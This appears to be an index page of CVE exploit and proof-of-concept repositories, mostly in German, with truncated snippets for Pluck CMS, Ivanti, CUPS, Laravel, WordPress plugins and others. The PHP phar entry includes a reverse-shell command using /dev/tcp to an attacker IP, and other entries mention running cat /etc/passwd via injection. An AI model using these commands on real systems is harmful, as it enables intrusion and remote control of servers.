CVE-2020-29607

CVE-2020-29607-Exploit Exploit-Titel: Pluck CMS 4.7.13 - Datei-Upload Remote Code Execution Authentifiziert CVE-Beschreibung: Eine Schwachstelle zur Umgehung der Datei-Upload-Beschränkung in Pluck CMS vor 4.7.13 ermöglicht einem privilegierten Administratorbenutzer, über die Funktion „Dateien...

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip senha:...

CVE-2023-21716

CVE-2023-21716 Microsoft Word RTF Font Table Heap Corruption Eine Sicherheitslücke in Microsoft Office's wwlib ermöglicht es Angreifern, Code mit den Berechtigungen des Opfers auszuführen, das ein bösartiges RTF-Dokument öffnet. Der Angreifer könnte diese Datei als E-Mail-Anhang oder auf andere...

Blackash-CVE-2025-0282

Blackash-CVE-2025-0282 Beschreibung Ein stapelbasierter Pufferüberlauf in Ivanti Connect Secure vor Version 22.7R2.5, Ivanti Policy Secure vor Version 22.7R1.2 und Ivanti Neurons for ZTA gateways vor Version 22.7R2.3 ermöglicht es einem entfernten, nicht authentifizierten Angreifer, eine...

CVE-2025-49113-Simulation

Roundcube RCE लैब CVE-2025-49113 Roundcube वेबमेल में एक गंभीर पोस्ट-प्रमाणीकरण RCE भेद्यता का अनुकरण और शोषण करने के लिए एक व्यावहारिक, कंटेनरीकृत प्रयोगशाला वातावरण, जिसे CVE-2025-49113 के रूप में पहचाना गया है। 📖 भेद्यता के बारे में यह लैब Roundcube वेबमेल क्लाइंट के विरुद्ध एक परिष्कृत आक्रमण...

CVE-2024-47176

PoC: Unauthenticated RCE auf cups-browsed 📜 Schwachstelleninformationen Veröffentlicht : 2024-09-26 Basis-Score : 5.3 MITTEL EPSS-Score : 0,06 % Ausbeutungswahrscheinlichkeit. Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N Beschreibung : CUPS ist ein standardbasiertes...

CVE-2020-8840

CVE-2020-8840: Kritische Schwachstelle für Remote-Codeausführung in FasterXML/jackson-databind 0x00 Einleitung jackson-databind ist eine JSON-Bibliothek des FasterXML-Projekts. 0x01 Überblick über die Schwachstelle Am 19. Februar veröffentlichte das NVD eine Sicherheitswarnung, die eine durch...

VMware-CVE-2022-22954

VMware CVE-2022-22954 Workspace ONE Access Freemarker Serverseitige Template-Injection POC für Vmware CVE-2022-22954 Verwenden Sie diese einzeilige GET-Anfrage!! Dadurch wird cat /etc/passwd ausgeführt...

CVE-2024-21413

CVE-2024-21413 | Microsoft Outlook Schwachstelle zur Remote-Codeausführung PoC 🚀 Verwendung Stellen Sie sicher, dass Sie die entsprechenden Berechtigungen und die Genehmigung des Eigentümers des Zielsystems haben, bevor Sie dieses Skript verwenden. Voraussetzungen Python 3.x impacket-smbserver...

CVE-2020-8515

CVE-2020-8515 Draytek CVE-2020-8515 PoC, den ich noch herumliegen hatte. Lustigerweise wird der injizierte Befehl zweimal ausgeführt, siehe hier: $ ./draytek.py draytek.local Führe Befehl aus: cat /etc/passwd + anfällig! Führe Befehl aus: uname -a Linux Vigor3900 2.6.33.5 1 Wed Mar 28 00:49:28 CS...

CVE-2023-32571-POC

Dynamic-Linq-Injection zu RCE - CVE-2023-32571 Über Dynamic-Linq-Injection zu RCE CVE-2023-32571 Vor Kurzem entdeckten Mitglieder der NCC Group eine Schwachstelle in Dynamic Linq, die es Angreifern ermöglicht, C-Funktionen über eine Linq-Injection aufzurufen und so RCE zu erlangen. Trotz des...

CVE-2018-1273

CVE-2018-1273 Spring Data Commons, versões de 1.13 a 1.13.10, de 2.0 a 2.0.5, e versões antigas sem suporte, contêm uma vulnerabilidade no property binder causada pela neutralização inadequada de elementos especiais. Um usuário malicioso remoto não autenticado ou atacante pode fornecer parâmetros...

CVE-2025-55763

CVE-2025-55763 Pufferüberlauf im URI-Parser von CivetWeb 1.16 bisher neueste Version. Angreifbarer Code Der Absturz erfolgt hier in src/civetweb.c bei dem letzten markierten strcat. Behebung Siehe den Pull-Request. PoC Das PoC stürzt den Server durch einen Heap-Überlauf ab, es ist jedoch möglich,...

CVE-2022-28219

CVE-2022-28219 PoC für CVE-2022-28219, das ManageEngine ADAudit Plus-Builds -l -d -f /windows/win.ini Oder um calc.exe auf dem Ziel auszuführen: pytho...

CVE-2023-0297

pyloadCVE-2023-0297poc Eine Code-Injection-Schwachstelle in pyLoad-Versionen vor 0.5.0b3.dev31 führt durch Missbrauch der js2py-Funktionalität zu Pre-Auth-RCE. Verwendung Verwendung von CVE-2023-0297poc.exe: -f string fileName:IP.txt -u string Beispiel:http://127.0.0.1:8080...

CVE-2020-2883

CVE-2020-2883 Zuerst das Framework klonen git clone https://github.com/Y4er/CVE-2020-2555 Dann legen Sie die Datei CVE20202883.java in das Verzeichnis src/com/supeream/CVE20202883.java In IDEA importieren und CVE20202883.java ausführen - RCE! Screenshot...

CVE-2022-1329

CVE-2022-1329 Das Elementor Website Builder Plugin für WordPress ist anfällig für die unbefugte Ausführung mehrerer AJAX-Aktionen aufgrund einer fehlenden Berechtigungsprüfung in der Datei /core/app/modules/onboarding/module.php, die es Angreifern ermöglicht, Websitedaten zu ändern und bösartige...

CVE-2021-3129

CVE-2021-3129 Laravel Ignition RCE Exploit Dies ist ein Python-Exploit-Skript für CVE-2021-3129, eine Remote-Code-Ausführungsschwachstelle in Laravel, wenn das Ignition-Paket installiert ist. Diese Schwachstelle ermöglicht es einem Angreifer, beliebige Systembefehle mittels PHAR-Deserialisierung...

CVE-2026-91136

The Divi Plus plugin for WordPress is vulnerable to Arbitrary File Read in versions up to, and including, 2.4.0 via the 'svgimage' parameter of the /wp-json/elicus/v1/dipl-modules/svg-animator REST endpoint. This is due to the endpoint's permission callback SVGAnimatorController::indexpermission...

CVE-2026-104722

The Listdom: AI-powered Business Directory with Classifieds Ads Listings plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the LSDMenusIXCSV::import function in all versions up to, and including, 6.1.2 This makes it possible for authenticate...